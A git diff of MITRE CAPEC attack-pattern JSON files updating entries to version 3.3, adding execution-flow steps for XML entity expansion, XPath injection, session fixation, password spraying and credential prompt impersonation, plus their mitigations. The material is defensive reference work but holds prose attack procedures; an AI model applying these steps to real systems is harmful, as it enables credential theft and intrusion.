"x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e.json b/capec/attack-pattern/attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e.json index f1a998d33d..78c5c6ebb8 100644 --- a/capec/attack-pattern/attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e.json +++ b/capec/attack-pattern/attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9ebe40cd-9c70-441b-9652-2f1a0eb14cc4", + "id": "bundle--c8699fe8-e584-4027-b0d9-76f7f023a7b6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XML Entity Expansion", "description": "An attacker submits an XML document to a target application where the XML document uses nested entity expansion to produce an excessively large output XML. XML allows the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.", "external_references": [ @@ -71,6 +71,7 @@ "x_capec_example_instances": [ "\n The most common example of this type of attack is the \"many laughs\" attack (sometimes called the 'billion laughs' attack). For example:\n \n ]>&lol9;\n This is well formed and valid XML according to the DTD. Each entity increases the number entities by a factor of 10. The line of XML containing lol9; expands out exponentially to a message with 10^9 entities. A small message of a few KBs in size can easily be expanded into a few GB of memory in the parser. By including 3 more entities similar to the lol9 entity in the above code to the DTD, the program could expand out over a TB as there will now be 10^12 entities. Depending on the robustness of the target machine, this can lead to resource depletion, application crash, or even the execution of arbitrary code through a buffer overflow.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Exploit

  1. Launch an XML Entity Expansion attack: The attacker crafts malicious XML message to force recursive entity expansion (or other repeated processing) that completely uses up available server resource.

    2. Techniques
    Send the malicious crafted XML message containing recursive entity uses to the target URL.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "This type of attack requires that the target must receive XML input but either fail to provide an upper limit for entity expansion or provide a limit that is so large that it does not preclude significant resource consumption." @@ -83,7 +84,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f40c59ce-f023-4e3e-937e-07fa2b7bc3ec.json b/capec/attack-pattern/attack-pattern--f40c59ce-f023-4e3e-937e-07fa2b7bc3ec.json index c1310c529b..5b00a664a6 100644 --- a/capec/attack-pattern/attack-pattern--f40c59ce-f023-4e3e-937e-07fa2b7bc3ec.json +++ b/capec/attack-pattern/attack-pattern--f40c59ce-f023-4e3e-937e-07fa2b7bc3ec.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--856c57a0-749c-446e-bf0b-e85f1d194a50", + "id": "bundle--5fd4c9c2-6947-4955-ada0-7af9eeb6073e", "spec_version": "2.0", "objects": [ { @@ -70,7 +70,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f4186110-0c20-42fa-bc6f-d0ff9f700f91.json b/capec/attack-pattern/attack-pattern--f4186110-0c20-42fa-bc6f-d0ff9f700f91.json index a150a30ca9..f531ebb381 100644 --- a/capec/attack-pattern/attack-pattern--f4186110-0c20-42fa-bc6f-d0ff9f700f91.json +++ b/capec/attack-pattern/attack-pattern--f4186110-0c20-42fa-bc6f-d0ff9f700f91.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--825a57b5-6a97-48b6-a8e0-2660a89e468d", + "id": "bundle--f04d98dc-8a31-4535-b46b-d876993d9f76", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b.json b/capec/attack-pattern/attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b.json index 24ed827924..614d4896b0 100644 --- a/capec/attack-pattern/attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b.json +++ b/capec/attack-pattern/attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--11566429-ef9a-409c-8440-e4a9c354778f", + "id": "bundle--b0d0f481-7b3d-4efd-9ffc-f292b91fc907", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XPath Injection", - "description": "An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that he normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.", + "description": "An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.", "external_references": [ { "source_name": "capec", @@ -62,6 +62,7 @@ "x_capec_example_instances": [ "Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of user-controllable input used to contruct XPath queries.

    2. Techniques
    Use an automated tool to record all instances of user-controllable input used to contruct XPath queries.
    Use a browser to manually explore the website and analyze how the application processes inputs.

  2. Determines the structure of queries: Using manual or automated means, query inputs found for XPath weaknesses.

    3. Techniques
    Use an automated tool automatically probe the inputs for XPath weaknesses.
    Manually probe the inputs using characters such as single quote (') that can cause XPath-releated errors, thus indicating an XPath weakness.

Exploit

  1. Exploit the target: Craft malicious content containing XPath expressions that is not validated by the application and is executed as part of the XPath queries.

    2. Techniques
    Use the crafted input to execute unexpected queries that can disclose sensitive database information to the attacker.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "XPath queries used to retrieve information stored in XML documents", @@ -75,7 +76,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d.json b/capec/attack-pattern/attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d.json new file mode 100644 index 0000000000..1f6ebfc264 --- /dev/null +++ b/capec/attack-pattern/attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d.json @@ -0,0 +1,127 @@ +{ + "type": "bundle", + "id": "bundle--e9dcbef5-5c7b-4fc3-968c-1b29be9a1258", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Password Spraying", + "description": "\n In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout. Password Spraying attacks often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. Successful execution of Password Spraying attacks usually lead to lateral movement within the target, which allows the adversary to impersonate the victim or execute any action that the victim is authorized to perform. If the password chosen by the user is commonly used or easily guessed, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.\n Password Spraying Attacks are similar to Dictionary-based Password Attacks (CAPEC-16) in that they both leverage precompiled lists (i.e. dictionaries) of username/password combinations to try against a system/application. The primary difference is that Password Spraying Attacks leverage a known list of user accounts and only try one password for each account before moving onto the next password. In contrast, Dictionary-based Password Attacks leverage unknown username/password combinations and are often executed offline against files containing hashed credentials, where inducing an account lockout is not a concern.\n Password Spraying Attacks are also similar to Credential Stuffing attacks (CAPEC-600), since both utilize known user accounts and often attack the same targets. Credential Stuffing attacks, however, leverage known username/password combinations, whereas Password Spraying attacks have no insight into known username/password pairs. If a Password Spraying attack succeeds, it may additionally lead to Credential Stuffing attacks on different targets.\n ", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/565.html", + "external_id": "CAPEC-565" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Spraying", + "url": "https://attack.mitre.org/wiki/Technique/T1110/003", + "external_id": "T1110.003" + }, + { + "source_name": "reference_from_CAPEC", + "description": "ACSC Releases Advisory on Password Spraying Attacks, 2019--08---08, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/current-activity/2019/08/08/acsc-releases-advisory-password-spraying-attacks", + "external_id": "REF-565" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Andy Greenberg, A notorious Iranian hacking crew is targeting industrial control systems, 2019--11---23, Ars Technica", + "url": "https://arstechnica.com/information-technology/2019/11/a-notorious-iranian-hacking-crew-is-targeting-industrial-control-systems/", + "external_id": "REF-566" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Alert (TA18-086A): Brute Force Attacks Conducted by Cyber Actors, 2018--03---27, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "external_id": "REF-567" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "A user selects the phrase \"Password123\" as their password, believing that it would be very difficult to guess. Password Spraying, leveraging a list of commonly used passwords, is used to crack this password and gain access to the account.", + "The Iranian hacker group APT33 (AKA Holmium, Refined Kitten, or Elfin) carried out numerous Password Spraying attacks in 2019. On average, APT33 targeted 2,000 organizations per month, with upwards of 10 million authentication attempts each day. The majority of these attacks targeted manufacturers, suppliers, or maintainers of industrial control system equipment." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target's password policy: Determine the password policies of the target system/application.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

  2. Select passwords: Pick the passwords to be used in the attack (e.g. commonly used passwords, passwords tailored to individual users, etc.)

    3. Techniques
    Select passwords based on common use or a particular user's additional details.
    Select passwords based on the target's password complexity policies.

Exploit

  1. Brute force password: Given the finite space of possible passwords dictated by information determined in the previous steps, try each password for all known user accounts until the target grants access.

    2. Techniques
    Manually or automatically enter the first password for each known user account through the target's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.
    Iterate through the remaining passwords for each known user account.
", + "x_capec_likelihood_of_attack": "High", + "x_capec_prerequisites": [ + "The system/application uses one factor password based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known user accounts on the target system/application." + ], + "x_capec_resources_required": [ + "A machine with sufficient resources for the job (e.g. CPU, RAM, HD).", + "Applicable password lists.", + "A password cracking tool or a custom script that leverages the password list to launch the attack." + ], + "x_capec_skills_required": { + "Low": "A Password Spraying attack is very straightforward. A variety of password cracking tools are widely available." + }, + "x_capec_status": "Draft", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f7a0e7bd-d24a-4390-b365-9e71f22e4e06.json b/capec/attack-pattern/attack-pattern--f7a0e7bd-d24a-4390-b365-9e71f22e4e06.json new file mode 100644 index 0000000000..bf5ae14741 --- /dev/null +++ b/capec/attack-pattern/attack-pattern--f7a0e7bd-d24a-4390-b365-9e71f22e4e06.json @@ -0,0 +1,60 @@ +{ + "type": "bundle", + "id": "bundle--687e1c28-31a5-4df9-a076-6400b648a486", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--f7a0e7bd-d24a-4390-b365-9e71f22e4e06", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Credential Prompt Impersonation", + "description": "An adversary, through a previously installed malicious application, impersonates a credential prompt in an attempt to steal a user's credentials. The adversary may monitor the task list maintained by the operating system and wait for a specific legitimate credential prompt to become active. Once the prompt is detected, the adversary launches a new credential prompt in the foreground that mimics the user interface of the legitimate credential prompt. At this point, the user thinks that they are interacting with the legitimate credential prompt, but instead they are interacting with the malicious credential prompt. A second approach involves the adversary impersonating an unexpected credential prompt, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process or commonly used application (e.g., email reader) requires authentication for some purpose. The user, believing they are interacting with a legitimate credential prompt, enters their credentials which the adversary then leverages for nefarious purposes. The ultimate goal of this attack is to obtain sensitive information (e.g., credentials) from the user.", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/654.html", + "external_id": "CAPEC-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1021.html", + "external_id": "CWE-1021" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ] + }, + "x_capec_example_instances": [ + "An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.", + "An adversary randomly prompts a user to enter their system credentials, tricking the user into believing that a background process requires the credentials to function. The adversary can then use these gleaned credentials to execute additional attacks or obtain data." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine suitable tasks to exploit: Determine what tasks exist on the target system that may result in a user providing their credentials.

    2. Techniques
    Determine what tasks prompt a user for their credentials.

Exploit

  1. Impersonate Task: Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials.

    2. Techniques
    Prompt a user for their credentials, while making the user believe the credential request is legitimate.
", + "x_capec_likelihood_of_attack": "Medium", + "x_capec_prerequisites": [ + "The adversary must already have access to the target system via some means.", + "A legitimate task must exist that an adversary can impersonate to glean credentials." + ], + "x_capec_resources_required": [ + "Malware or some other means to initially comprise the target system.", + "Additional malware to impersonate a legitimate credential prompt." + ], + "x_capec_skills_required": { + "Low": "Once an adversary has gained access to the target system, impersonating a credential prompt is not difficult." + }, + "x_capec_status": "Stable", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f7c4e923-3a66-458b-8bfe-bbeeebefe86a.json b/capec/attack-pattern/attack-pattern--f7c4e923-3a66-458b-8bfe-bbeeebefe86a.json index 5e23e4b997..72fab57491 100644 --- a/capec/attack-pattern/attack-pattern--f7c4e923-3a66-458b-8bfe-bbeeebefe86a.json +++ b/capec/attack-pattern/attack-pattern--f7c4e923-3a66-458b-8bfe-bbeeebefe86a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--39a9596f-ef19-4ab7-9adf-13f43a0993b3", + "id": "bundle--9abfaeab-2011-4cff-b02b-4d8ebe841fe0", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb.json b/capec/attack-pattern/attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb.json index afae7a8932..94adb3443c 100644 --- a/capec/attack-pattern/attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb.json +++ b/capec/attack-pattern/attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6bce108d-c24e-40cd-9cd0-1ee67123b806", + "id": "bundle--3810fc34-5b2f-4d56-9d0a-75e3857f3d91", "spec_version": "2.0", "objects": [ { @@ -38,7 +38,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f8533ce1-5f23-4660-8f70-1a05af2c70d3.json b/capec/attack-pattern/attack-pattern--f8533ce1-5f23-4660-8f70-1a05af2c70d3.json index 409ba2cd00..858b39da28 100644 --- a/capec/attack-pattern/attack-pattern--f8533ce1-5f23-4660-8f70-1a05af2c70d3.json +++ b/capec/attack-pattern/attack-pattern--f8533ce1-5f23-4660-8f70-1a05af2c70d3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fc80652c-3620-41a6-8c8e-a7419eb3456e", + "id": "bundle--0eb368da-147c-410b-b791-2a1dcc27982d", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--f90601a6-9e18-4e96-804d-01a4f4ea30f2.json b/capec/attack-pattern/attack-pattern--f90601a6-9e18-4e96-804d-01a4f4ea30f2.json index 58aafdb940..08792ce9a1 100644 --- a/capec/attack-pattern/attack-pattern--f90601a6-9e18-4e96-804d-01a4f4ea30f2.json +++ b/capec/attack-pattern/attack-pattern--f90601a6-9e18-4e96-804d-01a4f4ea30f2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0dd01925-76ee-4b84-985c-00e9069a10ad", + "id": "bundle--e466a282-c879-4c61-be54-0dc1aa03f23f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--f90601a6-9e18-4e96-804d-01a4f4ea30f2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Exploit Script-Based APIs", "description": "Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support \n A similar example uses session ID as an argument of the URL.\n http://www.example.com/index.php/sessionid=0123456789\n Once the victim clicks the links, the attacker may be able to bypass authentication or piggy-back off some other authenticated victim's session.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Analyze and Understand Session IDs: The attacker finds that the targeted application use session credentials to identify legitimate users.

    2. Techniques
    An attacker makes many anonymous connections and records the session IDs.
    An attacker makes authorized connections and records the session tokens or credentials.

Experiment

  1. Create Session IDs.: Attackers craft messages containing their forged credentials in GET, POST request, HTTP headers or cookies.

    2. Techniques
    The attacker manipulates the HTTP request message and adds their forged session IDs in to the requests or cookies.

Exploit

  1. Abuse the Victim's Session Credentials: The attacker fixates falsified session ID to the victim when victim access the system. Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the forged session identifier.

    2. Techniques
    The attacker loads the predefined or predicted session ID into their browser and browses to protected data or functionality.
    The attacker loads the predefined or predicted session ID into their software and utilizes functionality with the rights of the victim.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--aba24572-8817-4d88-92bf-765eaa6ae508", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-196-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Use session IDs that are difficult to guess or brute-force: One way for the attackers to obtain valid session IDs is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult.", - "type": "course-of-action", - "id": "course-of-action--aba24572-8817-4d88-92bf-765eaa6ae508" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a7fe664e-53db-4afa-acf9-45a9386c846a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a7fe664e-53db-4afa-acf9-45a9386c846a", "source_ref": "course-of-action--aba24572-8817-4d88-92bf-765eaa6ae508", "relationship_type": "mitigates", "target_ref": "attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e" }, { + "id": "course-of-action--9403f5e9-5529-4e19-8b52-23c80494dc87", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-196-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.", - "type": "course-of-action", - "id": "course-of-action--9403f5e9-5529-4e19-8b52-23c80494dc87" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7122b06c-8e94-4304-88f8-5f9d5c620b25", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7122b06c-8e94-4304-88f8-5f9d5c620b25", "source_ref": "course-of-action--9403f5e9-5529-4e19-8b52-23c80494dc87", "relationship_type": "mitigates", "target_ref": "attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e" }, { + "id": "attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e", "name": "XML Entity Expansion", "description": "An attacker submits an XML document to a target application where the XML document uses nested entity expansion to produce an excessively large output XML. XML allows the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10135,7 +11024,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -10204,32 +11093,34 @@ "x_capec_example_instances": [ "\n The most common example of this type of attack is the \"many laughs\" attack (sometimes called the 'billion laughs' attack). For example:\n \n ]>&lol9;\n This is well formed and valid XML according to the DTD. Each entity increases the number entities by a factor of 10. The line of XML containing lol9; expands out exponentially to a message with 10^9 entities. A small message of a few KBs in size can easily be expanded into a few GB of memory in the parser. By including 3 more entities similar to the lol9 entity in the above code to the DTD, the program could expand out over a TB as there will now be 10^12 entities. Depending on the robustness of the target machine, this can lead to resource depletion, application crash, or even the execution of arbitrary code through a buffer overflow.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Exploit

  1. Launch an XML Entity Expansion attack: The attacker crafts malicious XML message to force recursive entity expansion (or other repeated processing) that completely uses up available server resource.

    2. Techniques
    Send the malicious crafted XML message containing recursive entity uses to the target URL.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7cdc228e-d1d1-40c4-b9c4-9e9f89b3df71", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-197-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use libraries and templates that minimize unfiltered input. Use methods that limit entity expansion and throw exceptions on attempted entity expansion.", - "type": "course-of-action", - "id": "course-of-action--7cdc228e-d1d1-40c4-b9c4-9e9f89b3df71" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0492ba63-8134-4235-a371-e1cf83184a85", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0492ba63-8134-4235-a371-e1cf83184a85", "source_ref": "course-of-action--7cdc228e-d1d1-40c4-b9c4-9e9f89b3df71", "relationship_type": "mitigates", "target_ref": "attack-pattern--f36abc8a-043e-42c5-876d-a65fc0cddc1e" @@ -10237,29 +11128,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-197-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Implementation: Disable altogether the use of inline DTD schemas in your XML parsing objects. If must use DTD, normalize, filter and white list and parse with methods and routines that will detect entity expansion from untrusted sources.", + "description": "Implementation: Disable altogether the use of inline DTD schemas in your XML parsing objects. If must use DTD, normalize, filter, use an allowlist and parse with methods and routines that will detect entity expansion from untrusted sources.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--759bdbdc-ae95-465b-8ead-bb8b78a7771d" + "id": "course-of-action--52c18e99-8e6d-4a97-af2f-c27caf4efa5d" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": 